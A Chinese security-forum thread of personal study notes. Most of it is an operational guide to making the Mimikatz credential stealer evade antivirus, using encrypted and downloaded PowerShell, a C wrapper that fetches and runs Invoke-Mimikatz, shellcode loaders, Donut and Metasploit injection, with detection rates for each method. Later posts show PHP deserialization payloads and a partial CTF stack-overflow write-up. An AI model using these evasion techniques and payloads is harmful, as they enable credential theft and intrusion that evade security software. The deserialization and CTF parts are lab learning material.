Invoke-Mimikatz


```



对evil.ps1文件进行查杀

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**下面是我的运行情况:由于第一次运行,所以我出现的问题还挺多的。**


运行
   IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/mimikatz/Out-EncryptedScript.ps1")




** 问题(1)、未能正常解析远程名称:“raw.githubusercontent.com”,** 这个是因为这个域名现在没有用了需要换了,网址新链接为:[Out-EncryptedScript.ps1](https://github.com/TideSec/Bypas ... EncryptedScript.ps1)


![在这里插入图片描述]()


解决办法:[参考链接](https://blog.csdn.net/weixin_41816287/article/details/80781011)

```bash
C:\Users\Xor0ne\Desktop>  $wc = new-object net.webclient

C:\Users\Xor0ne\Desktop> $wc.Proxy.Credentials = [System.Net.CredentialCache]:efaultNetworkCredentials

C:\Users\Xor0ne\Desktop> IEX $wc.DownloadString("https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikat
Out-EncryptedScript.ps1")
```


** 问题(2)、结束后,显示未能正确加载SSL/TSL模块。**



解决办法:[参考链接](https://www.320nle.com/scoop-install/2887.html)


在pawershell中输入。然后开始执行
```bash
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
```

上面语句不知道为什么执行结束后还是有错误。如下图。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




最终命令:


```bash
C:\Users\Xor0ne\Desktop> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

C:\Users\Xor0ne\Desktop>  $wc = new-object net.webclient
C:\Users\Xor0ne\Desktop> $wc.Proxy.Credentials = [System.Net.CredentialCache]:efaultNetworkCredentials
C:\Users\Xor0ne\Desktop> IEX $wc.DownloadString("https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikat

C:\Users\Xor0ne\Desktop> [String] $cmd = Get-Content .\evil.ps1
C:\Users\Xor0ne\Desktop> Invoke-Expression $cmd
C:\Users\Xor0ne\Desktop> $decrypted = de tidesec 123456
C:\Users\Xor0ne\Desktop> Invoke-Expression $decrypted
C:\Users\Xor0ne\Desktop> Invoke-Mimikatz

```



下面这个情况我也不知道是不是运行成功了,因为和上面原作者的界面是一样的,但是我的最后自动退出了,,,这个就很神奇了,可能是上面问题二没有彻底解决完全,因为问题二相关语句运行的时候也就出现了一些错误。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
![在这里插入图片描述]()


virustotal.com上evil.ps1文件查杀率为0/60。(以下是我自己的实际检测图片,并且360也过了哦!)

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




###  方法4-使用xencrypt加密(VT查杀率2/59)


参考链接:
[(1)、通过xencrypt免杀invoke-mimikatz.ps1](https://blog.csdn.net/lhh134/article/details/104640758)
[(2)、Xcencrypt](https://www.freebuf.com/sectool/229249.html)


该方法主要是使用工具对powershell脚本进行加密并采用Gzip/DEFLATE来绕过杀软。


工具地址:

下载Invoke-Mimikatz.ps1


将xencrypt.ps1也放在同一目录


在powershell中执行。(通过-Iterations标志支持递归分层加密。)
```bash
Import-Module ./xencrypt.ps1

Invoke-Xencrypt -InFile .\Invoke-Mimikatz.ps1 -OutFile mimi.ps1 -Iterations 88
```


![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


以下是我在电脑上执行的。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


生成mimi.ps1,执行
```bash
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module c:\test\mimi.ps1;Invoke-Mimikatz"
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


以下是我的执行,似乎是有错误。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


### 方法5-PowerShell嵌入EXE文件(VT查杀率15/58)


这个方法其实只是将exe程序转为字符串,然后嵌入到Invoke-ReflectivePEInjection.ps1中直接执行。参考:[如何在PowerShell脚本中嵌入EXE文件](https://www.freebuf.com/articles/terminal/99631.html)


将下面代码保存为Convert-BinaryToString.ps1
```bash
function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String
}
```



执行。(执行下面语句时,我出现了导入错误,,,额,,,唉)
```bash
powershell import-module .\Convert-BinaryToString.ps1 ; Convert-BinaryToString .\mimikatz.exe >>1.txt
```

下载Invoke-ReflectivePEInjection.ps1,这个是Empire里的,可以使用PEUrl参数。
`  https://github.com/TideSec/Bypas ... tivePEInjection.ps1  `


新建一个payload.ps1,内容如下,需要替换里面1.txt的内容和Invoke-ReflectivePEInjection内容。
```bash
# Your base64 encoded binary
$InputString = '...........'  #上面1.txt的内容
function Invoke-ReflectivePEInjection  #Invoke-ReflectivePEInjection的内容
{
   ......
   ......
   ......
}
# Convert base64 string to byte array
$PEBytes = [System.Convert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"


```


然后在目标机器执行powershell -ExecutionPolicy Bypass -File payload.ps1即可。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


打开杀软发现静态查杀都过不了,其实这个也正常,Invoke-ReflectivePEInjection这个知名度太高了。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


如果保错`PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)


说明使用32位的powershell才行 `%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1`

virustotal.com上payload.ps1文件查杀率为15/58。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




### 方法6-C程序中执行powershell(VT查杀率7/71)


这个执行方式也是比较简单,在C代码里执行powershell。

先借用  Invoke-Mimikatz.ps1
```bash
powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz
```


使用c语言的system函数去执行powershell。
```cpp
#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://10.211.55.2/mimikatz/Invoke-Mimikatz.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);Invoke-Mimikatz");
return 0;
}
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


编译为exe文件,达到免杀的目的。但在运行该exe时,会触发360报警。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


virustotal.com上Project1.exe文件查杀率为7/71。

![(255,255,255)](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)



### 方法7-使用加载器pe_to_shellcode(VT查杀率47/70)
下载:


将 `mimikatz.exe` 转化为  `shellcode`   命令如下:
```bash
pe2shc.exe   mimikatz.exe   mimi.txt
```

加载

```bash
  runshc64.exe mimi.txt
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


`virustotal.com`  上 `mimi.txt` 文件查杀率为47/70,额,看来这个已经被列入黑名单了。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


以下是我的运行界面:(额,安全公司太给力了,360和火绒全部过不了,,)

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


runshc64.exe 加载。成功
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


### 方法8-c#加载shellcode(VT查杀率21/57)


参考:
[远控免杀专题(38)-白名单Rundll32.exe执行payload(VT免杀率22-58)](https://mp.weixin.qq.com/s/rm**AWC6HmcphozfEZhRGA)


先使用上面介绍的pe_to_shellcode方法,把mimikatz.exe转换为mimi.txt


然后使用bin2hex.exe将mimi.txt转换为16进制文件,bin2hex.exe可在这里下载到

`

执行命令如下。
```bash
bin2hex.exe --i mimi.txt --o mimi2.txt
```

在vs2017中创建C#的Console工程,把mimi2.txt中的16进制放到下面代码中的MsfPayload中。
```bash
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
    public class Program
    {
        public Program()
        {
            RunMSF();
        }
        public static void RunMSF()
        {
            byte[] MsfPayload =  {
0x4D, 0x5A, 0x45, 0x52, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x83,
0x41, 0x59, 0x41, 0x58, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC2, 0x04, 0x00 };


            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static void Main()
        {
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}
```


编译生成exe文件。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


然后使用DotNetToJScript把csharp文件转为js
```bash
DotNetToJScript.exe -l=JScript -o=mimikatz.js -c=MSFWrapper.Program ConsoleApp1.exe
```



使用  cscript.exe mimikatz.js  进行执行。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


virustotal.com上mimi.txt  文件查杀率为21/57。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




### 方法9-Donut执行mimikatz(VT查杀率29/71)


先使用 donut 把mimiktaz.exe 转为 bin 文件。
```bash
donut.exe -f mimikatz.exe -o mimi.bin
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




将mimi.bin作base64编码并保存在剪贴板,powershell命令如下:(这一步我的powershell有又错误了,,我和迷惑了)

```bash
$filename = "mimi.bin"
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip
```



把base64编码复制到DonutTest工程中。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


编译生成exe。


在注入进程时,发现注入到notepad.exe中无法执行,但注入到powershell中可以执行。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


但是发现仍被查杀。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


VT查杀率29/71,怎一个惨字了得。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)








### 方法10-msf加载bin(VT查杀率2/59)


Donut下载


下载shellcode_inject.rb代码


- **1、首先使用Donut对需要执行的文件进行shellcode生成,这里对mimi进行shellcode生成,生成bin文件,等下会用到。**
```bash
donut.exe -f mimikatz.exe -a 2 -o mimi.bin
```



![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


windows下的0.9.3版本的donut没能生成,于是使用了0.9.2版本。


kali下的0.9.3可正常使用。


- **2、将上面的shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(实际路径可能不同,也就是metasploit-framework的上级路径,根据实际情况调整),然后进入msf,reload_all同时载入所有模块。**


kali里是在目录  /usr/share/metasploit-framework/modules/post/windows/manage/


mac下是在  /opt/metasploit-framework/embedded/framework/modules/post/windows/manage


- **3、使用之前载入的shellcode_inject注入模块,这里是获取session后的操作了,session先自己上线再进行以下操作**

```bash
use post/windows/manage/shellcode_inject
set session 2
set shellcode /tmp/payload.bin
run
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




最后成功加载了mimi,使用shellcode注入执行,有更强的隐蔽性。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


VT平台上mimi.bin文件查杀率2/59,卡巴斯基这都能查杀...

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)





































回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-5-5 08:32:45 | 显示全部楼层
php序列化与反序列化



参考链接:[php反序列化漏洞说明](https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd)




# 0x00 前言

1. **序列化:php将变量和对象转化为字符序列**
  • -  作用:有利于存储和传递php的值,并且不丢失其结构和类型
  • - 将变量和对象转化为字节流便于在网络上传输
  • - 将对象和变量以字节流的方式保存在文件中,便于调用

2. **反序列化:php将字符序列转化为变量或者对象**


![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)



## 01、序列化


**序列化:php将变量和对象转化为字符序列**


示例代码:

```php
<?php
class Test{
        public $a = 'ThisA';
        protected $b = 'ThisB';
        private $c = 'ThisC';
        public function test() {
                return 'this is a test!';
        }
}
$test = new Test();
var_dump(serialize($test));

?>
```



输出结果:
```bash
string(84) "O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"*b";s:5:"ThisB";s:7:"Testc";s:5:"ThisC";}"
```

**分析:**
`O`:表示对象
`冒号( : )` :表示分隔符
`4`:表示对象的名称有四个字符
`“Test”`:表示对象的名称
`3`:表示该对象有3个成员变量
接下来介绍括号( { } )里面的成员变量,
`s:1:"a";s:5:"ThisA";` :以分号( ; )分开变量名和变量值,s表示数据类型为string;变量名为1个字符的a,变量值为长度为5的 “ ThisA ”。
`s:4:"*b";s:5:"ThisB"` :在变量b前加了星号( * ),用以区分protected修饰符。【另外实际页面中会出现乱码,实际上 protected属性的表示方式是在变量名前加个%00%00,所以才会有**字符长度为4**】
`s:7:"Testc";s:5:"ThisC"` :在变量c前加了类名“%00Test%00”用以区分private属性。【在变量名前加上%00类名%00,所以**变量长度为7**】
我们可以发现序列化后的字节流并没有包含 test 方法,**因为序列化不保存方法**。


## 02、反序列化


**反序列化:php将字符序列转化为变量或者对象**


举例:(将上述例子中序列化后的字符串在进行反序列化)
```php
<?php
class Test{
        public $a = 'ThisA';
        protected $b = 'ThisB';
        private $c = 'ThisC';
        public function test() {
                return 'this is test';
        }
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>
```


输出结果:

```bash
object(Test)#2 (3) {
        ["a"]=> string(5) "ThisA"
        ["b":protected]=> string(5) "ThisB"
        ["c":"Test":private]=> string(5) "ThisC"
}
```



##  03、总结

  • - 序列化:将对象和变量转化为字符序列。(给我们传递对象提供了一种简便的方法)
  • - 反序列化:将字符序列转化为变量和对象


那么反序列化的都得是如何形成的呢?
  •   **unserialize()函数参数可控,传入一个精心构造的序列化字符串,从而控制对象内部变量甚至是函数。**
  •   **php中有可利用的类并且类中含有魔幻函数。**



#  0x02 反序列化漏洞利用


##  01、魔幻函数
__construct()                #创建对象时初始化,类似C构造函数,当一个对象创建时被调用,但在unserialize()时是不会自动调用的
__destruct()                #结束对象是销毁对象,类似C析构函数,当一个对象销毁时被调用
__toString()                #当一个对象被当作一个字符串使用时被调用
__sleep()                #serialize()时会自动调用   
__wakeup()                #unserialize()时会自动调用   
__call()                #当调用对象中不存在的方法会自动调用该方法。
__get()                        #在调用私有属性的时候会自动执行
__isset()      #在不可访问的属性上调用isset()或empty()触发
__unset()       #在不可访问的属性上使用unset()时触发


##  02、利用__destruct()


代码示例:
```php
<?php
class test {
        var $test = "hello";
        function __destruct() {
                echo $this->test; //调用类中的属性 test
        }
}


$a = $_GET['id'];
$a_u = unserialize($a);
?>
```

###  构造payload


**原理:对象在被销毁前自动调用类 __destruct() 函数,进而调用了类中的属性test,而我们将  "<script>alert(/you are hacked/)</script>"  赋值给变量 test,从而完成了执行弹框的命令。**
(**PS:第一个是字母O,不是数字0哦!**)

```css
http://127.0.0.1:8081/test.php
?id=O:4:"test":1:{s:4:"test";s:40:"<script>alert(/you are hacked/)</script>";}
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


##  03、利用__wakeup()


unserialize() 执行后会导致 __wakeup() 和 __destruct() 的直接调用,中间无需其他过程。因此,当一些漏洞/危害代码在 __wakeup() 或 __destruct() 中,我们可以构造序列化字符序列再通过反序列化去触发这两个函数。


示例代码;

```php
<?php
class test {
        var $test = "123";
        function __wakeup() {
                $fp = fopen("file.php","w"); //以写入的方式打开file.php文件
                fwrite($fp,$this->test); //将test变量写入文件
                fclose($fp); //关闭文件
        }
}


$a = $_GET['id'];
print_r($a);
echo "<br/>";
$a_u = unserialize($a);
require "file.php";
?>


```

###  构造payload
**原理:构造序列化字符串,其中将test变量的值设置为 `<?php phpinfo(); ?>` ,再调用unserialize() 时会通过 __wakeup() 把test的值写入到 file.php 文件中,这样当我们用 reqiure() 访问 file.php 文件时,便会自动执行 phpinfo()语句了。**

```css
http://127.0.0.1:8081/test.php
?id=O:4:"test":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
```

我们会发现 test 的值`<?php phpinfo(); ?>` 并没有显现出来

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


##  04、利用__toString()




## 05、POP gadget--利用__construct()


一次使用 unserialize() 时有些魔术函数并不会直接被调用,比如 __construct() 函数,因此我们我们要利用他的话就应该简介来调用他。即通过 unserialize() 函数会调用的函数去调用一些unserialize()不会调用的函数达到间接调用。


示例代码:


```php
<?php
class test1 {
        function __construct($test) {
                $fp = fopen("file.php","w");
                fwrite($fp,$test);
                fclose($fp);
        }
}
class test2 {
        var $test = '123';
        function __wakeup() {
                $obj = new test1($this->test);
        }
}
$a = $_GET['id'];
print_r($a);
echo "<br/>";
$a_u = unserialize($a);
require "file.php";
?>


```

###  构造payload

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**原理:构造类 test2的字符序列 $id (将  `"<?php phpinfo(); ?>"` 变量赋值给$test 变量),再通过 unseriallize() 销毁对象时调用 __wakeup() 函数,进而在执行  new test1($this->test) 时调用 test1 中的 __construct() 方法,将 `"<?php phpinfo(); ?>"` 变量写入 file.php。当我们用 reqiure() 访问 file.php 文件时,便会自动执行 phpinfo()语句了。**


```css
http://127.0.0.1:8081/test.php
?id=O:5:"test2":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
```

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


## 06、利用普通方法
```php
<?php
class main {
        var $test;
        function __construct() {
                $this->test = new test1();
        }
        function __destruct() {
                $this->test->action();
        }
}
class test1 {
        function action () {
                echo "hello world!"
        }
}
class test2 {
        var $test2;
        function action() {
                eval($this->test2);
        }
}
$a = new main();
unserialize($a);
?>
```

**代码解析:new main() 得到一个新的main()对象,调用 __construct(),从而执行 new test1() ,在main结束后销毁对象时会调用 __destruct(),从而执行类test1中的action()函数输出 hello world。而我们的目的死调用类test2中的action方法,因为其中有我们想要的 eval() 方法。**


下列代码获取调用test2时的字符序列。
```php
<?php
class main {
        var $test;
        function __construct() {
                $this->test = new test2();
        }
}
class test2 {
        var $test2 = "phpinfo();";
}
echo serialize(new main());
?>
```

输出字符序列:
```bash
O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}
```



### 构造payload

```css
http://127.0.0.1:8081/test.php
?test=O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}
```

相当于类test2执行了<?php eval("phpinfo(); ") ;?>

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)









参考链接:
[1、php序列化与反序列化](https://blog.csdn.net/weixin_44677409/article/details/93884388)
[2、php反序列化漏洞说明](https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd)


2020/0504  周一  五四青年节  每日一剂
人有了规划,哪怕只是一个雏形,一个念想,整颗心都会更这安定下来。


------------ from my PC







回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-5-8 23:07:02 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-5-8 23:33 编辑

buuctf--pwn小结1


参考链接:
[1、BUUCTF刷题(持续更新)](https://blog.csdn.net/qq_4393596 ... mMachineLearnPai2-5)
[2、BUUCTF-PWN刷题日记](https://blog.csdn.net/weixin_45461609/article/details/105486759)






## 0x01 test_your_nc

参考链接:https://blog.csdn.net/qq_42404383/article/details/103625124

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


#### (1)、思路:看名字,然后直接用nc


- nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。


```bash
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
```

网络调试——测试端口号能否连接 :nc -zv 主机的ip或域名 端口号
> -z告诉netcat,用户不想发送数据给主机,nc不用等待用户输入。
> -v告诉netcat输出详细的交互过程。


![在这里插入图片描述]()


#### (2)、过程:连上,cat flag


![在这里插入图片描述]()


## 0x02 rip1


参考链接:[BUUCTF_Pwn_RIP覆盖一下](https://blog.csdn.net/m0_3810056 ... gCommendFromBaidu-2)


IDA基本使用规则:https://www.cnblogs.com/aikongmeng/articles/10657479.html


使用peda调式时,出现错误:`/bin/bash: 第 0 行: exec: /root/pwn1: 无法执行: 权限不够`
参考链接:https://zhidao.baidu.com/question/573978822.html


#### (1)、思路:
#####  1.1、查看文件信息
```bash
checksec 文件名 #查看文件的保护机制
```

可以发现,没有什么保护机制,即一道简单的栈溢出
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


#####  1.2、代码审计


放入IDA中查看文件的基本信息,伪代码如下:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


如下,为fun的地址以及 fun 的伪代码。
![在这里插入图片描述]()
![在这里插入图片描述]()




**由上伪代码,可得思路:将main函数执行结束后得ret返回地址构造为 fun函数的首地址0x401186,那么当我们执行完main函数后,将会执行fun函数从而得到shell。**
**方法:在gets()函数输入时,利用超长字符将fun()函数的首地址溢出到main函数的ret返回地址。**

接下来,输入超长字符溢出定址。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


